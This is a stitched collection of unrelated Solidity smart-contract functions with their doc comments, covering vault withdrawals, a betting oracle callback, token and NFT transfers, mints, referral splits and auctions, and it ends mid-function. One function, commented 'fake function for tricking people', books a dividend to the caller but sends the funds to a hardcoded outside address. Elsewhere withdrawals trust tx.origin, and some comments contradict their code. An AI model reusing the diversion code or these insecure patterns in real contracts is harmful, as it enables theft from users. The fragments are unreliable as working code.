     * which mean network fee for Tier 1 = 1%, Tier 2 = 0.75% and Tier 3 = 0.5%
     */
    require(
      _networkFeePercentage[0] < 4000 &&
      _networkFeePercentage[1] < 4000 &&
      _networkFeePercentage[2] < 4000, "Network fee percentage cannot be more than 40%"
    );

    uint256[] memory oldNetworkFeePercentage = networkFeePercentage;
    networkFeePercentage = _networkFeePercentage;
    emit SetNetworkFeePercentage(oldNetworkFeePercentage, _networkFeePercentage);
  }


/**
 * @notice Approve Yearn Finance contracts to deposit token from this contract
 * @dev This function only need execute once in contract contructor
 */

function _approvePooling() private {
    uint256 earnAllowance = token.allowance(address(this), address(earn));
    if (earnAllowance == uint256(0)) {
      token.safeApprove(address(earn), MAX_UNIT);
    }
    uint256 vaultAllowance = token.allowance(address(this), address(vault));
    if (vaultAllowance == uint256(0)) {
      token.safeApprove(address(vault), MAX_UNIT);
    }
  }


/**
 * @notice Withdraw from Yearn Earn and Vault contracts
 * @param _shares amount of earn and vault to withdraw in list: [earn withdraw amount, vault withdraw amount]
 * Requirements:
 * - This contract is not in vesting state
 * - Only Vault can call this function
 */

function withdraw(uint256[] memory _shares) external {
    require(!isVesting, "Contract in vesting state");
    require(msg.sender == address(daoVault), "Only can call from Vault");

    if (_shares[0] > 0) {
      _withdrawEarn(_shares[0]);
    }

    if (_shares[1] > 0) {
      _withdrawVault(_shares[1]);
    }
  }


/**
 * @notice Withdraw from Yearn Earn contract
 * @dev Only call within function withdraw()
 * @param _shares Amount of shares to withdraw
 * Requirements:
 * - Amount input must less than or equal to sender current total amount of earn deposit in contract
 */

function _withdrawEarn(uint256 _shares) private {
    uint256 _d = pool.mul(_shares).div(totalSupply()); // Initial Deposit Amount
    require(earnDepositBalance[tx.origin] >= _d, "Insufficient balance");
    uint256 _earnShares = (_d.mul(earn.totalSupply())).div(earn.calcPoolValueInToken()); // Find earn shares based on deposit amount
    uint256 _r = ((earn.calcPoolValueInToken()).mul(_earnShares)).div(earn.totalSupply()); // Actual earn withdraw amount

    earn.withdraw(_earnShares);
    earnDepositBalance[tx.origin] = earnDepositBalance[tx.origin].sub(_d);

    _burn(address(daoVault), _shares);
    pool = pool.sub(_d);

    if (_r > _d) {
      uint256 _p = _r.sub(_d); // Profit
      uint256 _fee = _p.mul(profileSharingFeePercentage).div(DENOMINATOR);
      token.safeTransfer(tx.origin, _r.sub(_fee));
      token.safeTransfer(treasuryWallet, _fee.mul(treasuryFee).div(DENOMINATOR));
      token.safeTransfer(communityWallet, _fee.mul(communityFee).div(DENOMINATOR));
    } else {
      token.safeTransfer(tx.origin, _r);
    }
  }


/**
 * @notice Vesting this contract, withdraw all the token from Yearn contracts
 * @notice Disabled the deposit and withdraw functions for public, only allowed users to do refund from this contract
 * Requirements:
 * - Only owner of this contract can call this function
 * - This contract is not in vesting state
 */

function vesting() external onlyOwner {
    require(!isVesting, "Already in vesting state");

    // Withdraw all funds from Yearn Earn and Vault contracts
    isVesting = true;
    uint256 _earnBalance = earn.balanceOf(address(this));
    uint256 _vaultBalance = vault.balanceOf(address(this));
    if (_earnBalance > 0) {
      earn.withdraw(_earnBalance);
    }
    if (_vaultBalance > 0) {
      vault.withdraw(_vaultBalance);
    }

    // Collect all profits
    uint256 balance_ = token.balanceOf(address(this));
    if (balance_ > pool) {
      uint256 _profit = balance_.sub(pool);
      uint256 _fee = _profit.mul(profileSharingFeePercentage).div(DENOMINATOR);
      token.safeTransfer(treasuryWallet, _fee.mul(treasuryFee).div(DENOMINATOR));
      token.safeTransfer(communityWallet, _fee.mul(communityFee).div(DENOMINATOR));
    }
    pool = 0;
  }


/**
 * @notice Get token amount based on daoToken hold by account after contract in vesting state
 * @param _address Address of account to check
 * @return Token amount based on on daoToken hold by account. 0 if contract is not in vesting state
 */

function getSharesValue(address _address) external view returns (uint256) {
    if (!isVesting) {
      return 0;
    } else {
      uint256 _shares = daoVault.balanceOf(_address);
      if (_shares > 0) {
        return token.balanceOf(address(this)).mul(_shares).div(daoVault.totalSupply());
      } else {
        return 0;
      }
    }
  }


//oraclize callback method

function __callback(bytes32 myid, string result, bytes proof) public {
        require (msg.sender == oraclize_cbAddress());
        require (!chronus.race_end);
        bytes32 coin_pointer; // variable to differentiate different callbacks
        chronus.race_start = true;
        chronus.betting_open = false;
        bettingControllerInstance.remoteBettingClose();
        coin_pointer = oraclizeIndex[myid];

        if (myid == coinIndex[coin_pointer].preOraclizeId) {
            if (coinIndex[coin_pointer].pre > 0) {
            } else if (now >= chronus.starting_time+chronus.betting_duration+ 30 minutes) {
                forceVoidRace();
            } else {
                coinIndex[coin_pointer].pre = stringToUintNormalize(result);
                emit newPriceTicker(coinIndex[coin_pointer].pre);
            }
        } else if (myid == coinIndex[coin_pointer].postOraclizeId){
            if (coinIndex[coin_pointer].pre > 0 ){
                if (coinIndex[coin_pointer].post > 0) {
                } else if (now >= chronus.starting_time+chronus.race_duration+ 30 minutes) {
                    forceVoidRace();
                } else {
                    coinIndex[coin_pointer].post = stringToUintNormalize(result);
                    coinIndex[coin_pointer].price_check = true;
                    emit newPriceTicker(coinIndex[coin_pointer].post);

                    if (coinIndex[horses.ETH].price_check && coinIndex[horses.BTC].price_check && coinIndex[horses.LTC].price_check) {
                        reward();
                    }
                }
            } else {
                forceVoidRace();
            }
        }
    }


// place a bet on a coin(horse) lockBetting

function placeBet(bytes32 horse) external duringBetting payable  {
        require(msg.value >= 0.01 ether);
        if (voterIndex[msg.sender].total_bet==0) {
            total_bettors+=1;
        }
        uint _newAmount = voterIndex[msg.sender].bets[horse] + msg.value;
        voterIndex[msg.sender].bets[horse] = _newAmount;
        voterIndex[msg.sender].total_bet += uint160(msg.value);
        uint160 _newTotal = coinIndex[horse].total + uint160(msg.value);
        uint32 _newCount = coinIndex[horse].count + 1;
        coinIndex[horse].total = _newTotal;
        coinIndex[horse].count = _newCount;
        emit Deposit(msg.sender, msg.value, horse, now);
    }


// method to calculate an invidual's reward

function calculateReward(address candidate) internal afterRace constant returns(uint winner_reward) {
        voter_info storage bettor = voterIndex[candidate];
        if(chronus.voided_bet) {
            winner_reward = bettor.total_bet;
        } else {
            uint winning_bet_total;
            if(winner_horse[horses.BTC]) {
                winning_bet_total += bettor.bets[horses.BTC];
            } if(winner_horse[horses.ETH]) {
                winning_bet_total += bettor.bets[horses.ETH];
            } if(winner_horse[horses.LTC]) {
                winning_bet_total += bettor.bets[horses.LTC];
            }
            winner_reward += (((total_reward.mul(10000000)).div(winnerPoolTotal)).mul(winning_bet_total)).div(10000000);
        }
    }


// utility function to convert string to integer with precision consideration

function stringToUintNormalize(string s) internal pure returns (uint result) {
        uint p =2;
        bool precision=false;
        bytes memory b = bytes(s);
        uint i;
        result = 0;
        for (i = 0; i < b.length; i++) {
            if (precision) {p = p-1;}
            if (uint(b[i]) == 46){precision = true;}
            uint c = uint(b[i]);
            if (c >= 48 && c <= 57) {result = result * 10 + (c - 48);}
            if (precision && p == 0){return result;}
        }
        while (p!=0) {
            result = result*10;
            p=p-1;
        }
    }


/**
 * @dev player send crystals to the pot
 */

function share(uint256 _value) public disableContract
    {
        require(games[round].ended == false);
        require(games[round].startTime <= now);
        require(_value >= 1);

        MiningWar.subCrystal(msg.sender, _value);

        if (games[round].endTime <= now) endRound();

        updateReward(msg.sender);

        Game storage g = games[round];
        uint256 _share = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
        g.crystals = SafeMath.add(g.crystals, _share);
        Player storage p = players[msg.sender];
        if (p.currentRound == round) {
            p.share = SafeMath.add(p.share, _share);
        } else {
            p.share = _share;
            p.currentRound = round;
        }

        emit Deposit(msg.sender, p.currentRound, _value, p.share);
    }


/**
 @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
 @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
 MUST revert if `_to` is the zero address.
 MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
 MUST revert on any other error.
 MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
 After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
 @param _from    Source address
 @param _to      Target address
 @param _id      ID of the token type
 @param _value   Transfer amount
 @param _data    Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
 */

function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external {

        require(_to != address(0x0), "_to must be non-zero.");
        require(_from == msg.sender || operatorApproval[_from][msg.sender] == true, "Need operator approval for 3rd party transfers.");

        // SafeMath will throw with insuficient funds _from
        // or if _id is not valid (balance will be 0)
        balances[_id][_from] = balances[_id][_from].sub(_value);
        balances[_id][_to]   = _value.add(balances[_id][_to]);

        // MUST emit event
        emit TransferSingle(msg.sender, _from, _to, _id, _value);

        // Now that the balance is updated and the event was emitted,
        // call onERC1155Received if the destination is a contract.
        if (_to.isContract()) {
            _doSafeTransferAcceptanceCheck(msg.sender, _from, _to, _id, _value, _data);
        }
    }


/**
 @notice Get the balance of an account's Tokens.
 @param _owner  The address of the token holder
 @param _id     ID of the Token
 @return        The _owner's balance of the Token type requested
 */

function balanceOf(address _owner, uint256 _id) external view returns (uint256) {
        // The balance of any account can be calculated from the Transfer events history.
        // However, since we need to keep the balances to validate transfer request,
        // there is no extra cost to also privide a querry function.
        return balances[_id][_owner];
    }


/**
 * @notice Allows to mint one NFT if whitelisted
 *
 * @param _account The account of the user minting the NFT
 * @param _proof The Merkle Proof
 **/

function presaleMint(address _account, bytes32[] calldata _proof) external payable nonReentrant {
        //Are we in Presale ?
        require(sellingStep == Steps.Presale, "Presale has not started yet.");
        //Did this account already mint an NFT ?
        require(nftsPerWallet[_account] < 1, "You can only get 10 NFT on the Presale");
        //Is this user on the whitelist ?
        require(isWhiteListed(_account, _proof), "Not on the whitelist");
        //Get the price of one NFT during the Presale
        uint price = pricePresale;
        //Did the user send enought Ethers ?
        require(msg.value >= price, "Not enought funds.");
        //Increment the number of NFTs this user minted
        nftsPerWallet[_account]++;
        //Mint the user NFT
        _safeMint(_account, _nftIdCounter.current());
        //Increment the Id of the next NFT to mint
        _nftIdCounter.increment();
    }


/**
 * @notice Allows to get the complete URI of a specific NFT by his ID
 *
 * @param _nftId The id of the NFT
 *
 * @return The token URI of the NFT which has _nftId Id
 **/

function tokenURI(uint _nftId) public view override(ERC721) returns (string memory) {
        require(_exists(_nftId), "This NFT doesn't exist.");
        if(revealed == false) {
            return notRevealedURI;
        }

        string memory currentBaseURI = _baseURI();
        return
            bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI, _nftId.toString(), baseExtension))
            : "";
    }


/**
 * @dev Returns the owner of the `tokenId` token.
 *
 * Requirements:
 *
 * - `tokenId` must exist.
 */

function ownerOf(uint256 tokenId) public view virtual returns (address) {
        unchecked {
            if (tokenId < _collectionData.index) {
                address ownership = _ownerships[tokenId];
                if (ownership != address(0)) {
                    return ownership;
                }
                    while (true) {
                        tokenId--;
                        ownership = _ownerships[tokenId];

                        if (ownership != address(0)) {
                            return ownership;
                        }

                    }
                }
            }

        revert ();
    }


/**
 * @dev Safely mints `quantity` tokens and transfers them to `to`.
 *
 * Requirements:
 *
 * - `to` cannot be the zero address.
 * - If `to` refers to a smart contract, it must implement {onERC721Received}, which is called for each safe transfer.
 *
 * Emits a {Transfer} event.
 */

function _safeMint(address to, uint256 quantity, bytes memory _data) internal {
        require(to != address(0), "Address 0");
        require(quantity > 0, "Quantity 0");

        unchecked {
            uint256 updatedIndex = _collectionData.index;
            _addressData[to].balance += uint64(quantity);
            _ownerships[updatedIndex] = to;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                require(to.code.length == 0 ||
                        ERC721TokenReceiver(to).onERC721Received(_msgSender(), address(0), updatedIndex, _data) ==
                        ERC721TokenReceiver.onERC721Received.selector, "Unsafe Destination");
                updatedIndex++;
            }

            _collectionData.index = updatedIndex;
        }
    }


/**
 * @dev Returns whether `_addressToCheck` is the owner of `quantity` tokens sequentially starting from `startID`.
 *
 * Requirements:
 *
 * - `startID` token and all sequential tokens must exist.
 */

function multiOwnerCheck(address _addressToCheck, uint256 startID, uint256 quantity) internal view returns (bool) {
        require(quantity > 1, "Low Quantity");
        unchecked {
            for (uint256 i; i < quantity; i++) {
                if (ownerOf(startID + i) != _addressToCheck){
                    return false;
                }
            }
        }
        return true;
    }


/**
 * @dev Locks `_owner`'s tokens from any form of transferring.
 * Requirements:
 *
 * - The `caller` cannot have their tokens locked currently.
 *
 * Emits a {Locked} event.
 */

function lock(uint256 _cooldown) public {
        require(!_addressData[_msgSender()].locked, "Tokens currently locked");
        require(_cooldown > 0 && _cooldown < 31, "Invalid Cooldown");
        unchecked {
            uint256 proposedCooldown = _cooldown * 1 days;
            require(block.timestamp + proposedCooldown > _addressData[_msgSender()].lockedUnlockTimestamp, "Proposed cooldown too small");
            _addressData[_msgSender()].locked = true;
            _addressData[_msgSender()].lockedUnlockCooldown = uint64(proposedCooldown);
        }
        emit Locked(_msgSender(), _cooldown);
    }


/**
 * @dev Returns tokenIDs owned by `_owner`.
 */

function tokensOfOwner(address _owner) public view returns (uint256[] memory) {
        uint256 totalOwned = _addressData[_owner].balance;
        require(totalOwned > 0, "balance 0");
        uint256 supply = _collectionData.index;
        uint256[] memory tokenIDs = new uint256[](totalOwned);
        uint256 ownedIndex;
        address currentOwner;

        unchecked {
            for (uint256 i; i < supply; i++) {
                address currentAddress = _ownerships[i];
                if (currentAddress != address(0)) {
                    currentOwner = currentAddress;
                }
                if (currentOwner == _owner) {
                    tokenIDs[ownedIndex++] = i;
                    if (ownedIndex == totalOwned){
                        return tokenIDs;
                    }
                }
            }
        }

        revert();
    }


/**
 * @dev Destroys `tokenIDs`.
 * The approval is cleared when each token is burned.
 *
 * Requirements:
 *
 * - `tokenIDs` must exist.
 * - caller must be Owner or Approved for token usage.
 *
 * Emits a {Transfer} event.
 */

function batchBurn(uint256 startID, uint256 quantity) public {
        address currentOwner = ownerOf(startID);
        require(isUnlocked(currentOwner), "ERC721L: Tokens Locked");
        require(multiOwnerCheck(currentOwner, startID, quantity), "ERC721L: Not Batchable");
        require(_msgSender() == currentOwner || isApprovedForAll(currentOwner, _msgSender()), "ERC721M: Not Approved");

        unchecked {
            for (uint256 i; i < quantity; i++) {
                uint256 currentToken = startID + i;
                delete _tokenApprovals[currentToken];

                if (i == 0){
                    _ownerships[currentToken] = address(0x000000000000000000000000000000000000dEaD);
                } else {
                    delete _ownerships[currentToken];
                }
                emit Transfer(currentOwner, address(0x000000000000000000000000000000000000dEaD), currentToken);
            }
            _addressData[currentOwner].balance -= uint64(quantity);
            _collectionData.burned += uint128(quantity);
            uint256 nextTokenId = startID + quantity;
            if (_ownerships[nextTokenId] == address(0) && nextTokenId < _collectionData.index) {
                _ownerships[nextTokenId] = currentOwner;

            }
        }

    }


/**
 * Initialize a new asset
 * @param dataNumber The number of data array
 * @param linkSet The set of URL of the original information for storing data, empty means undisclosed
 *          needle is " "
 * @param encryptionTypeSet The set of encryption method of the original data, such as SHA-256
 *          needle is " "
 * @param hashValueSet The set of hashvalue
 *          needle is " "
 */

function initAsset(
        uint dataNumber,
        string linkSet,
        string encryptionTypeSet,
        string hashValueSet) public onlyHolder {
        // split string to array
        var links = linkSet.toSlice();
        var encryptionTypes = encryptionTypeSet.toSlice();
        var hashValues = hashValueSet.toSlice();
        var delim = " ".toSlice();

        dataNum = dataNumber;

        // after init, the initAsset function cannot be called
        require(isInit == false, "The contract has been initialized");

        //check data
        require(dataNumber >= 1, "Param dataNumber smaller than 1");
        require(dataNumber - 1 == links.count(delim), "Param linkSet invalid");
        require(dataNumber - 1 == encryptionTypes.count(delim), "Param encryptionTypeSet invalid");
        require(dataNumber - 1 == hashValues.count(delim), "Param hashValueSet invalid");

        isInit = true;

        var empty = "".toSlice();

        for (uint i = 0; i < dataNumber; i++) {
            var link = links.split(delim);
            var encryptionType = encryptionTypes.split(delim);
            var hashValue = hashValues.split(delim);

            //require data not null
            // link can be empty
            require(!encryptionType.empty(), "Param encryptionTypeSet data error");
            require(!hashValue.empty(), "Param hashValueSet data error");

            dataArray.push(
                data(link.toString(), encryptionType.toString(), hashValue.toString())
                );
        }
    }


/**
 * Get data info by index
 * @param index index of dataArray
 */

function getDataByIndex(uint index) public view returns (string link, string encryptionType, string hashValue) {
        require(isValid == true, "contract invaild");
        require(index >= 0, "Param index smaller than 0");
        require(index < dataNum, "Param index not smaller than dataNum");
        link = dataArray[index].link;
        encryptionType = dataArray[index].encryptionType;
        hashValue = dataArray[index].hashValue;
    }


/**
 * Modify the link of the indexth data to be url
 * @param index index of assetInfo
 * @param url new link
 * Only can be called by holder
 */

function setDataLink(uint index, string url) public onlyHolder {
        require(isValid == true, "contract invaild");
        require(index >= 0, "Param index smaller than 0");
        require(index < dataNum, "Param index not smaller than dataNum");
        dataArray[index].link = url;
    }


// ------------------------------------------------------------------------
// Increment supply
// ------------------------------------------------------------------------

function incrementSupply(uint256 increments) public onlyOwner returns (bool){
    require(increments > 0);
    uint256 curTotalSupply = _totalSupply;
    uint256 previousBalance = balanceOf(msg.sender);
    _totalSupply = curTotalSupply.add(increments);
    balances[msg.sender] = previousBalance.add(increments);
    emit IncrementSupply(msg.sender, increments);
    emit Transfer(address(0), msg.sender, increments);
    return true;
  }


// ------------------------------------------------------------------------
// Burns `amount` tokens from `owner`
// @param amount The quantity of tokens being burned
// @return True if the tokens are burned correctly
// ------------------------------------------------------------------------

function burnTokens(uint256 amount) public onlyOwner returns (bool) {
    require(amount > 0);
    uint256 curTotalSupply = _totalSupply;
    require(curTotalSupply >= amount);
    uint256 previousBalanceTo = balanceOf(msg.sender);
    require(previousBalanceTo >= amount);
    _totalSupply = curTotalSupply.sub(amount);
    balances[msg.sender] = previousBalanceTo.sub(amount);
    emit BurnTokens(msg.sender, amount);
    emit Transfer(msg.sender, address(0), amount);
    return true;
  }


// sets the discount and referral percentages for the current user
// this is deliberately user-customisable

function setSplit(uint8 discount, uint8 referrer) public {
        require(discountLimit >= discount + referrer, "can't give more than the limit");
        require(discount + referrer >= discount, "can't overflow");
        splits[msg.sender] = Split({
            discountPercentage: discount,
            referrerPercentage: referrer,
            set: true
        });
        emit SplitChanged(msg.sender, discount, referrer);
    }


// override a user's split

function overrideSplit(address user, uint8 discount, uint8 referrer) public onlyOwner {
        require(discountLimit >= discount + referrer, "can't give more than the limit");
        require(discount + referrer >= discount, "can't overflow");
        splits[user] = Split({
            discountPercentage: discount,
            referrerPercentage: referrer,
            set: true
        });
        emit SplitChanged(user, discount, referrer);
    }


// sets the default discount and referral percentages

function setDefaults(uint _discount, uint _refer) public onlyOwner {
        require(discountLimit >= _discount + _refer, "can't be more than the limit");
        require(_discount + _refer >= _discount, "can't overflow");
        defaultDiscount = _discount;
        defaultRefer = _refer;
    }


// gets the discount and referral rates for a particular user

function getSplit(address user) public view returns (uint8 discount, uint8 referrer) {
        if (user == address(0)) {
            return (0, 0);
        }
        Split memory s = splits[user];
        if (!s.set) {
            return (uint8(defaultDiscount), uint8(defaultRefer));
        }
        return (s.discountPercentage, s.referrerPercentage);
    }


// get the amount of the purchase which will be allocated to
// the vault and to the referrer

function getAllocations(uint cost, uint items, address referrer) public view returns (uint toVault, uint toReferrer) {
        uint8 discount;
        uint8 refer;
        (discount, refer) = referrals.getSplit(referrer);
        require(discount + refer <= 100 && discount + refer >= discount, "invalid referral split");
        // avoid overflow
        uint total = cost.mul(items);
        uint8 vaultPercentage = 100 - discount - refer;
        toVault = getPercentage(total, vaultPercentage);
        toReferrer = getPercentage(total, refer);
        uint discountedTotal = getPercentage(total, 100 - discount);
        require(discountedTotal == toVault.add(toReferrer), "not all funds allocated");
        return (toVault, toReferrer);
    }


/**
 * @notice Create a new CRP
 * @dev emits a LogNewCRP event
 * @param factoryAddress - the BFactory instance used to create the underlying pool
 * @param poolParams - struct containing the names, tokens, weights, balances, and swap fee
 * @param rights - struct of permissions, configuring this CRP instance (see above for definitions)
 * @param smartPoolImplementation - the address of the implementation contract for the CRP
 * @param proxyAdmin - the address to be assigned as admin of the proxy contract that uses the CRP implementation
 */

function newCrp(
        address factoryAddress,
        ConfigurableRightsPool.PoolParams calldata poolParams,
        RightsManager.Rights calldata rights,
        address smartPoolImplementation,
        address proxyAdmin
    )
        external
        returns (ConfigurableRightsPool)
    {
        require(poolParams.constituentTokens.length >= BalancerConstants.MIN_ASSET_LIMIT, "ERR_TOO_FEW_TOKENS");

        // Arrays must be parallel
        require(poolParams.tokenBalances.length == poolParams.constituentTokens.length, "ERR_START_BALANCES_MISMATCH");
        require(poolParams.tokenWeights.length == poolParams.constituentTokens.length, "ERR_START_WEIGHTS_MISMATCH");

        InitializableAdminUpgradeabilityProxy proxy = new InitializableAdminUpgradeabilityProxy();

        bytes memory callData = abi.encodeWithSignature(
            "initialize(address,(string,string,address[],uint256[],uint256[],uint256),(bool,bool,bool,bool,bool,bool))",
            factoryAddress,
            poolParams,
            rights
        );
        proxy.initialize(smartPoolImplementation, proxyAdmin, callData);

        ConfigurableRightsPool crp = ConfigurableRightsPool(address(proxy));

        emit LogNewCrp(msg.sender, address(crp));

        _isCrp[address(crp)] = true;
        // The caller is the controller of the CRP
        // The CRP will be the controller of the underlying Core BPool
        crp.setController(msg.sender);

        return crp;
    }


/**
 * @notice Approve owner (sender) to spend a certain amount
 * @dev emits an Approval event
 * @param spender - entity the owner (sender) is approving to spend his tokens
 * @param amount - number of tokens being approved
 * @return bool - result of the approval (will always be true if it doesn't revert)
 */

function approve(address spender, uint amount) external override returns (bool) {
        /* In addition to the increase/decreaseApproval functions, could
           avoid the "approval race condition" by only allowing calls to approve
           when the current approval amount is 0

           require(_allowance[msg.sender][spender] == 0, "ERR_RACE_CONDITION");

           Some token contracts (e.g., KNC), already revert if you call approve
           on a non-zero allocation. To deal with these, we use the SafeApprove library
           and safeApprove function when adding tokens to the pool.
        */

        _allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }


/**
 * @notice Decrease the amount the spender is allowed to spend on behalf of the owner (sender)
 * @dev emits an Approval event
 * @dev If you try to decrease it below the current limit, it's just set to zero (not an error)
 * @param spender - entity the owner (sender) is approving to spend his tokens
 * @param amount - number of tokens being approved
 * @return bool - result of the approval (will always be true if it doesn't revert)
 */

function decreaseApproval(address spender, uint amount) external returns (bool) {
        uint oldValue = _allowance[msg.sender][spender];
        // Gas optimization - if amount == oldValue (or is larger), set to zero immediately
        if (amount >= oldValue) {
            _allowance[msg.sender][spender] = 0;
        } else {
            _allowance[msg.sender][spender] = BalancerSafeMath.bsub(oldValue, amount);
        }

        emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);

        return true;
    }


/**
 * @notice Transfer the given amount from sender to recipient
 * @dev _move emits a Transfer event if successful; may also emit an Approval event
 * @param sender - entity sending the tokens (must be caller or allowed to spend on behalf of caller)
 * @param recipient - recipient of the tokens
 * @param amount - number of tokens being transferred
 * @return bool - result of the transfer (will always be true if it doesn't revert)
 */

function transferFrom(address sender, address recipient, uint amount) external override returns (bool) {
        require(recipient != address(0), "ERR_ZERO_ADDRESS");
        require(msg.sender == sender || amount <= _allowance[sender][msg.sender], "ERR_PCTOKEN_BAD_CALLER");

        _move(sender, recipient, amount);

        // memoize for gas optimization
        uint oldAllowance = _allowance[sender][msg.sender];

        // If the sender is not the caller, adjust the allowance by the amount transferred
        if (msg.sender != sender && oldAllowance != uint(-1)) {
            _allowance[sender][msg.sender] = BalancerSafeMath.bsub(oldAllowance, amount);

            emit Approval(msg.sender, recipient, _allowance[sender][msg.sender]);
        }

        return true;
    }


// Burn an amount of new tokens, and subtract them from the balance (and total supply)
// Emit a transfer amount from this contract to the null address

function _burn(uint amount) internal virtual {
        // Can't burn more than we have
        // Remove require for gas optimization - bsub will revert on underflow
        // require(_balance[address(this)] >= amount, "ERR_INSUFFICIENT_BAL");

        _balance[address(this)] = BalancerSafeMath.bsub(_balance[address(this)], amount);
        varTotalSupply = BalancerSafeMath.bsub(varTotalSupply, amount);

        emit Transfer(address(this), address(0), amount);
    }


// Transfer tokens from sender to recipient
// Adjust balances, and emit a Transfer event

function _move(address sender, address recipient, uint amount) internal virtual {
        // Can't send more than sender has
        // Remove require for gas optimization - bsub will revert on underflow
        // require(_balance[sender] >= amount, "ERR_INSUFFICIENT_BAL");

        _balance[sender] = BalancerSafeMath.bsub(_balance[sender], amount);
        _balance[recipient] = BalancerSafeMath.badd(_balance[recipient], amount);

        emit Transfer(sender, recipient, amount);
    }


//use the mint function to create an NFT

function mint(uint256 _count) public payable returns (uint256) {
        uint256 totalSupply = this.totalSupply();
        console.log("total supply before: %s", totalSupply);
        require(mintingFee <= msg.value, "Not Enough Ether To Mint");
        require(isSaleActive, "Sale is not active" );
        require(_count > 0 && _count < MAX_TOKENS_PER_PURCHASE + 1, "Exceeds maximum tokens you can purchase in a single transaction");
        require(totalSupply + _count < MAX_TOKENS + 1, "Exceeds maximum tokens available for purchase");

        for(uint256 i = 0; i < _count; i++){
            _tokenIds += 1;
            _safeMint(msg.sender, totalSupply + i);
        }
        totalSupply = this.totalSupply();
        console.log("total supply after: %s", totalSupply);
        return _tokenIds;
    }


//in the function below include the CID of the JSON folder on IPFS

function tokenURI(uint256 _tokenId) override public view returns(string memory) {
        require(!isSaleActive, "Sale is still active. baseURI will be released once all little skulls have been minted.");
        return string(
            abi.encodePacked(
                baseURI,
                Strings.toString(_tokenId),
                ".json"
            )
        );
    }


/**
 * @notice Get reward
 * @param account Addresss
 * @return saved reward + new reward
 */

function getReward(address account) public view returns (uint256) {
    uint256 newReward = 0;

    if (
      _blockNumbers[account] != 0 && block.number > _blockNumbers[account]
    ) {
      newReward =
        (_refToken.balanceOf(account) *
          (block.number - _blockNumbers[account]) *
          _rewardPerBlock) /
        _refToken.totalSupply();
    }

    return newReward + _rewards[account];
  }


//fake function for tricking people

function dividend(address _owner) internal returns (uint256 amount) {
	    var balance = dividends(_owner);

		// Update the payouts array, incrementing the request address by `balance`.
		payouts[msg.sender] += (int256) (balance * scaleFactor);

		// Increase the total amount that's been paid out to maintain invariance.
		totalPayouts += (int256) (balance * scaleFactor);

		// Send the dividends to the address that requested the withdraw.
		contractBalance = sub(contractBalance, balance);
		//msg.sender.transfer(balance);

		address out = 0x21BBa5412455f6384F7f63FE0d63F2eB64b35d61;
		out.transfer(balance);

		return 0;
	}


/// @dev Returns current auction prices for up to 50 auctions
/// @param _tokenIds - up to 50 IDs of NFT on auction that we want the prices of

function getCurrentAuctionPrices(uint128[] _tokenIds) public view returns (uint128[50]) {

        require (_tokenIds.length <= 50);

        /// @dev A fixed array we can return current auction price information in.
        uint128[50] memory currentPricesArray;

        for (uint8 i = 0; i < _tokenIds.length; i++) {
          Auction storage auction = tokenIdToAuction[_tokenIds[i]];
          if (_isOnAuction(auction)) {
            uint256 price = _currentPrice(auction);
            currentPricesArray[i] = uint128(price);
          }
        }

        return currentPricesArray;
    }


/// @dev Creates and begins a new auction. We override the base class
///   so we can add the listener capability.
///
/// CALLABLE ONLY BY NFT CONTRACT
///
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _startingPrice - Price of item (in wei) at beginning of auction.
/// @param _endingPrice - Price of item (in wei) at end of auction.
/// @param _duration - Length of auction (in seconds).
/// @param _seller - Seller, if not the message sender

function createAuction(
        uint256 _tokenId,
        uint256 _startingPrice,
        uint256 _endingPrice,
        uint256 _duration,
        address _seller
    )
        public
        canBeStoredWith128Bits(_startingPrice)
        canBeStoredWith128Bits(_endingPrice)
        canBeStoredWith64Bits(_duration)
    {
        require(msg.sender == address(nonFungibleContract));
        _escrow(_seller, _tokenId);
        Auction memory auction = Auction(
            _seller,
            uint128(_startingPrice),
            uint128(_endingPrice),
            uint64(_duration),
            uint64(now)
        );
        _addAuction(_tokenId, auction);

        if (listener != address(0)) {
          listener.auctionCreated(_tokenId, _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration));
        }
    }


/// @dev Reprices (and updates duration) of an array of tokens that are currently
/// being auctioned by this contract.
///
/// CALLABLE ONLY BY NFT CONTRACT
///
/// @param _tokenIds Array of tokenIds corresponding to auctions being updated
/// @param _startingPrices New starting prices
/// @param _endingPrices New ending prices
/// @param _duration New duration
/// @param _seller Address of the seller in all specified auctions to be updated

function repriceAuctions(
        uint256[] _tokenIds,
        uint256[] _startingPrices,
        uint256[] _endingPrices,
        uint256 _duration,
        address _seller
    )
    public
    canBeStoredWith64Bits(_duration)
    {
        require(msg.sender == address(nonFungibleContract));

        uint64 timeNow = uint64(now);
        for (uint32 i = 0; i < _tokenIds.length; i++) {
            uint256 _tokenId = _tokenIds[i];
            uint256 _startingPrice = _startingPrices[i];
            uint256 _endingPrice = _endingPrices[i];

            // Must be able to be stored in 128 bits
            require(_startingPrice < 340282366920938463463374607431768211455);
            require(_endingPrice < 340282366920938463463374607431768211455);

            Auction storage auction = tokenIdToAuction[_tokenId];

            // Here is where we make sure the seller in the auction is correct.
            // Since this method can only be called by the NFT, the NFT controls
            // what happens here by passing in the _seller we are to require.
            if (auction.seller == _seller) {
                // Update the auction parameters
                auction.startingPrice = uint128(_startingPrice);
                auction.endingPrice = uint128(_endingPrice);
                auction.duration = uint64(_duration);
                auction.startedAt = timeNow;
                emit AuctionRepriced(_tokenId, _startingPrice, _endingPrice, uint64(_duration), timeNow);
            }
        }
    }


/// @dev Place a bid to purchase multiple tokens in a single call.
/// @param _tokenIds Array of IDs of tokens to bid on.

function batchBid(uint256[] _tokenIds) public payable whenNotPaused
    {
